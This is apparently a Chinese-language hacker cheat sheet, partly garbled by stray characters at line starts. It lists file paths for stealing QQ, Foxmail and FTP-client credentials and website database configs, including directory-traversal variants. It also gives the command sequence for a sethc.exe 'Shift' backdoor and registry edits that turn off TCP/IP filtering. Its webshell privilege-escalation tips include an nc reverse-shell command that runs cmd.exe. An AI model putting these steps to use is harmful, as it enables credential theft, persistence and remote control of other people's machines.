( Y$ b8 p: _- z4 y/ q: a: ic:\Program Files\Tencent\qq\User.db
: [; g7 a% g& F4 C. [% p; f6 Rc:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
% Q4 Z" c" B. K1 G, O" FC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
" J) [  @0 U0 a! m+ Q$ ]( dC:\Program Files\Foxmal\Foxmail.exe
! Y; ^5 C- l, g1 |C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
( u6 S2 U9 m6 X, @! v0 N0 OC:\Program Files\tencent\Foxmal\accounts.cfg
& h0 U( Z3 ]  o8 @9 g7 R4 L, |C:\Program Files\LeapFTP 3.0\LeapFTP.exe
! C% r, f2 p( I9 E& R) ?1 J  T" H0 V! MC:\Program Files\LeapFTP\LeapFTP.exe
0 N9 K2 Y8 f; o1 ^" dc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
' f, V9 m% z! Q( @2 IC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
4 t0 d% v$ \1 g2 Z9 Fc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
# s$ z2 P; P* W# sC:\Program Files\StormII\Storm.exe

  ], U$ B& y3 x! x% {1 l0 J3.网站相对路径:
7 t$ R+ M; p, J0 |7 e  K: q5 ^
/config.php
../../config.php
../config.php
../../../config.php
/config.inc.php
" g! X# ?+ C( B- `; [: u9 c& O2 I- A./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
; F3 `: s' f( I# L/ r../../conn.php
../conn.php
../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
- r# i! w0 b0 I1 V9 S/ v../conn.asp
../../../conn.asp
; P5 i- G+ g) a% i  d9 U; ]# `% j/config.inc.php
./config.inc.php
, Q; W( V! R9 @; X../../config.inc.php
) X  _" Y$ m2 v../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
../config/config.php
: ?8 H4 m' L& C, s, C../../../config/config.php
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
, b& M, }8 L8 t, h../config/config.inc.php
7 j( z8 {2 w( J9 {../../../config/config.inc.php
/config/conn.php
./config/conn.php
../../config/conn.php
../config/conn.php
../../../config/conn.php
/config/conn.asp
./config/conn.asp
. B# v% v8 l4 _5 u../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
8 O5 J! A/ Z; H9 ^  k: y' A! q% b/config/config.inc.php
./config/config.inc.php
8 T# g( f3 _# Q& w../../config/config.inc.php
" {: i! K* c1 v2 b- ]../config/config.inc.php
../../../config/config.inc.php
  O8 |7 ?* h5 B6 r/data/config.php
../../data/config.php
* U$ C0 d" A, a; W- B' ^4 G9 l../data/config.php
../../../data/config.php
/data/config.inc.php
& t; T* y1 E7 d2 L$ v4 V, G./data/config.inc.php
0 N" g. ?* j0 j0 @../../data/config.inc.php
../data/config.inc.php
* d1 S- e, ], u; }2 `5 D$ c../../../data/config.inc.php
/data/conn.php
./data/conn.php
" V; h; L9 x" ^9 Y- n( N4 I4 g../../data/conn.php
1 ?4 e& F: n# {- a- H% s../data/conn.php
../../../data/conn.php
" F4 H  C4 h  j, h# g/data/conn.asp
1 n5 y. j3 C& {3 @, ]./data/conn.asp
../../data/conn.asp
../data/conn.asp
# P& `/ l$ @  l( c1 P- N../../../data/conn.asp
) ^7 {- u, B! `# n1 l4 h/data/config.inc.php
, C  a, R- Q) h7 D# S./data/config.inc.php
! \: r( U4 A: {/ H1 v- g../../data/config.inc.php
6 S5 O* R* z4 p../data/config.inc.php
../../../data/config.inc.php
" r3 S* @( b& Z0 D/include/config.php
../../include/config.php
  j' U/ N/ O: ^../include/config.php
  n. T2 N0 m% G( v5 x../../../include/config.php
/include/config.inc.php
) V, r& D/ M7 R8 ]2 z8 T./include/config.inc.php
3 g8 E' a% ?3 G4 p( j& G../../include/config.inc.php
2 [8 k* I; g, J3 j' i../include/config.inc.php
6 O& p! `* a  n8 M0 C../../../include/config.inc.php
7 m# B4 j% R8 s+ n: _3 C5 Y/include/conn.php
./include/conn.php
% Q8 M* X/ M% x0 r2 @. V" x../../include/conn.php
. t; m/ a+ d& D* v" T' v3 D/ J../include/conn.php
../../../include/conn.php
/include/conn.asp
./include/conn.asp
+ d8 }4 m& m3 h1 o9 P../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
: H6 `! [( [% d1 c( ^" H8 l9 B/include/config.inc.php
./include/config.inc.php
, p2 r2 {. v7 [" s../../include/config.inc.php
../include/config.inc.php
# Y$ }3 y+ U  ?( Y- ^) w* f, j7 K../../../include/config.inc.php
5 P- Q( ~/ {: G" r$ q/inc/config.php
. P8 y2 g) f6 O7 ~- ]0 J1 C( W../../inc/config.php
( ]" I1 f* ?% n3 l+ b% p../inc/config.php
../../../inc/config.php
( I. S6 k* ^2 k# z9 |7 ]2 e7 F% M/inc/config.inc.php
# r$ `- |8 x3 U./inc/config.inc.php
6 B; w  C3 h' k  c../../inc/config.inc.php
../inc/config.inc.php
  L7 T9 f: t5 w: L" C../../../inc/config.inc.php
2 |: y6 [" U5 H. B) v/inc/conn.php
./inc/conn.php
../../inc/conn.php
- O  [- p0 b' R( P/ d( V# M' |../inc/conn.php
$ e+ p( w( Z; x: B9 ?4 x../../../inc/conn.php
4 ^0 U5 s% z7 r8 q/inc/conn.asp
./inc/conn.asp
* k8 z: g$ t! }* M6 f; t, h: o, P../../inc/conn.asp
../inc/conn.asp
1 S) _4 d1 m7 |0 [) ]- P6 _../../../inc/conn.asp
) C+ C  ~8 O* k. c' R" l/inc/config.inc.php
" ^; O5 B3 B, u) `) w./inc/config.inc.php
8 l& x& q( |. v4 z6 f! w5 _0 X2 a../../inc/config.inc.php
! a" b( p, ?) _, F../inc/config.inc.php
../../../inc/config.inc.php
4 u( O& E* G4 @. i, f/index.php
3 O: G, l# u& z7 D( H" A./index.php
0 j! P; c( r" h: x% T5 J+ \../../index.php
../index.php
" @6 k9 P6 m6 ^$ g. |& \../../../index.php
/index.asp
# ?2 c6 u  O5 ^0 L1 C) ?./index.asp
9 l5 E, b  n( U0 @2 D% L../../index.asp
/ @8 e9 W1 y' u8 r$ u' i. s! t../index.asp
% L# a( o8 B1 f* R6 f0 W../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
4 c* G# c' S; c- l" x% }1 d# v
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
- a9 x- _* M/ s. `/ [
/ n7 Q% ?, U" q　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
+ H; a+ Q' ?/ u/ O9 v
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s
( e, o$ H% o# W7 S, G% m
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
. R" F: U$ G( Y# B; \( N6 [: i: k) M去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
, p, }: |' a* M  gHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
. p" x  I5 g  N2 C5 Z! @regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

% h& P, Q" ^( l, ^2 L然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

, [; v3 s$ v2 R  u1 `再将以上三个文件分别用
1 q6 w' v# [; l& s" |6 T2 Xregedit -s D:\a.reg
regedit -s D:\b.reg
$ {# A" m* `: h' nregedit -s D:\c.reg
导入注册表即可
( i4 f/ M0 W  p1 X' r% R
webshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
# ]8 y' _& l# C8 C通常都不会成功。
, Q1 m& O; I4 C( ?' t
5 H. o  x: j: ]' M9 p而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
6 N+ @2 |4 ?$ h6 Z$ @; E. k& U命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
' F0 p1 m- i/ t5 D我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功